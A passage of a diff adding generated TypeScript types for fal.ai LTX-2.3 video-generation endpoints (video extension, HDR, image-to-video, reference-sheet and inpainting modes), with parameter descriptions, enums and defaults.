@default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityExtendVideoLoraVideoWriteModeEnumKey + /** + * @description The number of frames to generate for the extension segment, including num_context_frames of overlap with the source video. The new content adds approximately (num_frames - num_context_frames) / frames_per_second seconds. The stable generation budget caps the resolution x frames volume: at 24 fps roughly 20s at 480p-class, 11s at 720p-class and 5s at 1080p-class; a request above the budget returns a 422 (lower num_frames or use a smaller resolution). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInputA8B84B59[] + /** + * @description Optional keyframe image for the far end of the extension: the final frame for forward extension, or the new first frame for backward extension. + */ + end_image_url?: string | null + /** + * @description Direction to extend the video. 'forward' continues from the end of the video, 'backward' generates a new beginning. + * @default 'forward' + * @type string | undefined + */ + extend_direction?: InputFalAiLtx23QualityExtendVideoLoraExtendDirectionEnumKey +} + +export type FileAfbb4Cc0 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityExtendVideoLora = { + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileAfbb4Cc0 +} + +export type ImageSize5Ab8092F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityHdrVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityHdrVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityHdrVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityHdrVideoQualityEnum] + +export const inputFalAiLtx23QualityHdrResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityHdrResolutionKey = + (typeof inputFalAiLtx23QualityHdrResolution)[keyof typeof inputFalAiLtx23QualityHdrResolution] + +export const inputFalAiLtx23QualityHdrVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityHdrVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityHdrVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityHdrVideoWriteModeEnum] + +/** + * @description HDR generation: lift an SDR input video into HDR. + * @type object + */ +export type InputFalAiLtx23QualityHdr = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description SDR input video to lift into HDR. This mode is video-conditioned. + * @type string + */ + video_url: string + /** + * @description The prompt to guide generation. + * @example A sunset over the Pacific Ocean, vibrant orange and purple sky, deep contrast, cinematic HDR. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityHdrVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Output video size. The output is generated at up to ~720p (shorter side capped at 704px); larger requested sizes are scaled down, preserving the aspect ratio. + * @default auto + */ + resolution?: ImageSize5Ab8092F | InputFalAiLtx23QualityHdrResolutionKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityHdrVideoWriteModeEnumKey +} + +export type File14A0484E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type VideoFile4Db44075 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +/** + * @description HDR output with professional EXR frames and a lightweight preview. + * @type object + */ +export type OutputFalAiLtx23QualityHdr = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description ZIP archive containing one 16-bit EXR frame per output frame. + * @type object + */ + exr_frames_url: File14A0484E + /** + * @description MP4 preview of the HDR result for quick inspection. + * @type object + */ + preview_video: VideoFile4Db44075 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInput91D336DbTransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInput91D336DbTransformerEnumKey = + (typeof loRAInput91D336DbTransformerEnum)[keyof typeof loRAInput91D336DbTransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput91D336Db = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInput91D336DbTransformerEnumKey +} + +export type ImageSizeE8A3B057 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityHdrLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityHdrLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityHdrLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityHdrLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityHdrLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityHdrLoraResolutionKey = + (typeof inputFalAiLtx23QualityHdrLoraResolution)[keyof typeof inputFalAiLtx23QualityHdrLoraResolution] + +export const inputFalAiLtx23QualityHdrLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityHdrLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityHdrLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityHdrLoraVideoWriteModeEnum] + +export type InputFalAiLtx23QualityHdrLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide generation. + * @example A sunset over the Pacific Ocean, vibrant orange and purple sky, deep contrast, cinematic HDR. + * @type string + */ + prompt: string + /** + * @description SDR input video to lift into HDR. This mode is video-conditioned. + * @type string + */ + video_url: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput91D336Db[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityHdrLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Output video size. The output is generated at up to ~720p (shorter side capped at 704px); larger requested sizes are scaled down, preserving the aspect ratio. + * @default auto + */ + resolution?: ImageSizeE8A3B057 | InputFalAiLtx23QualityHdrLoraResolutionKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityHdrLoraVideoWriteModeEnumKey +} + +export type File4Fcd2019 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type VideoFile2F8386A8 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +/** + * @description HDR output with professional EXR frames and a lightweight preview. + * @type object + */ +export type OutputFalAiLtx23QualityHdrLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description ZIP archive containing one 16-bit EXR frame per output frame. + * @type object + */ + exr_frames_url: File4Fcd2019 + /** + * @description MP4 preview of the HDR result for quick inspection. + * @type object + */ + preview_video: VideoFile2F8386A8 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSize0E62F40E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityImageToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityImageToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityImageToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityImageToVideoVideoQualityEnum] + +export const inputFalAiLtx23QualityImageToVideoResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityImageToVideoResolutionKey = + (typeof inputFalAiLtx23QualityImageToVideoResolution)[keyof typeof inputFalAiLtx23QualityImageToVideoResolution] + +export const inputFalAiLtx23QualityImageToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityImageToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityImageToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityImageToVideoVideoWriteModeEnum] + +/** + * @description Image-to-video generation conditioned on a starting frame. + * @type object + */ +export type InputFalAiLtx23QualityImageToVideo = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide the video generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength on the start image. 1.0 = exact first-frame match, lower = more freedom for the model. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + image_strength?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityImageToVideoVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. 'auto' derives the size from the input image aspect ratio. + * @default auto + */ + resolution?: + | ImageSize0E62F40E + | InputFalAiLtx23QualityImageToVideoResolutionKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityImageToVideoVideoWriteModeEnumKey + /** + * @description The URL of the starting image. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string +} + +export type File53E9F096 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityImageToVideo = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File53E9F096 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInput0E5F6A12TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInput0E5F6A12TransformerEnumKey = + (typeof loRAInput0E5F6A12TransformerEnum)[keyof typeof loRAInput0E5F6A12TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput0E5F6A12 = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInput0E5F6A12TransformerEnumKey +} + +export type ImageSize8F74Aab6 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityImageToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityImageToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityImageToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityImageToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityImageToVideoLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityImageToVideoLoraResolutionKey = + (typeof inputFalAiLtx23QualityImageToVideoLoraResolution)[keyof typeof inputFalAiLtx23QualityImageToVideoLoraResolution] + +export const inputFalAiLtx23QualityImageToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityImageToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityImageToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityImageToVideoLoraVideoWriteModeEnum] + +/** + * @description Image-to-video + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityImageToVideoLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide the video generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength on the start image. 1.0 = exact first-frame match, lower = more freedom for the model. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + image_strength?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput0E5F6A12[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityImageToVideoLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. 'auto' derives the size from the input image aspect ratio. + * @default auto + */ + resolution?: + | ImageSize8F74Aab6 + | InputFalAiLtx23QualityImageToVideoLoraResolutionKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityImageToVideoLoraVideoWriteModeEnumKey + /** + * @description The URL of the starting image. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string +} + +export type File8Ffe45E1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityImageToVideoLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File8Ffe45E1 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSize8F53D236 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityIngredientVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityIngredientVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityIngredientVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityIngredientVideoQualityEnum] + +export const inputFalAiLtx23QualityIngredientResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityIngredientResolutionKey = + (typeof inputFalAiLtx23QualityIngredientResolution)[keyof typeof inputFalAiLtx23QualityIngredientResolution] + +export const inputFalAiLtx23QualityIngredientVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityIngredientVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityIngredientVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityIngredientVideoWriteModeEnum] + +/** + * @description Image-to-video generation conditioned on an Ingredient reference sheet. + * @type object + */ +export type InputFalAiLtx23QualityIngredient = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Strength of the built-in Ingredient IC-LoRA. Higher values make the reference sheet identities and props more dominant. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + ingredient_strength?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide the generated video. For best results, use a 'Reference sheet: ... Generated video: ...' structure. + * @example Reference sheet: a chef in a white jacket, a copper pan, fresh basil, and a bright studio kitchen. Generated video: the chef tosses pasta in the copper pan, steam rising, cinematic food commercial. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityIngredientVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'worst quality, inconsistent motion, blurry, jittery, distorted' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The final generated video size. The default keeps the workflow's first stage at the Ingredient LoRA's trained 768x448 bucket before the official 2x refinement stage. + * @default {"height":896,"width":1536} + */ + resolution?: ImageSize8F53D236 | InputFalAiLtx23QualityIngredientResolutionKey + /** + * @description Strength of the reference-sheet guide. 1.0 uses the sheet fully; lower values give the model more freedom. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + reference_strength?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityIngredientVideoWriteModeEnumKey + /** + * @description URL of the Ingredient reference sheet image. The sheet should contain clean panels for the characters, props, and location to preserve. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string +} + +export type File37Ecd20E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityIngredient = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File37Ecd20E + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityInpaintVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityInpaintVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityInpaintVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityInpaintVideoQualityEnum] + +export const inputFalAiLtx23QualityInpaintVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityInpaintVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityInpaintVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityInpaintVideoWriteModeEnum] + +/** + * @description Video inpainting: regenerate masked regions of a source video. + * @type object + */ +export type InputFalAiLtx23QualityInpaint = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * 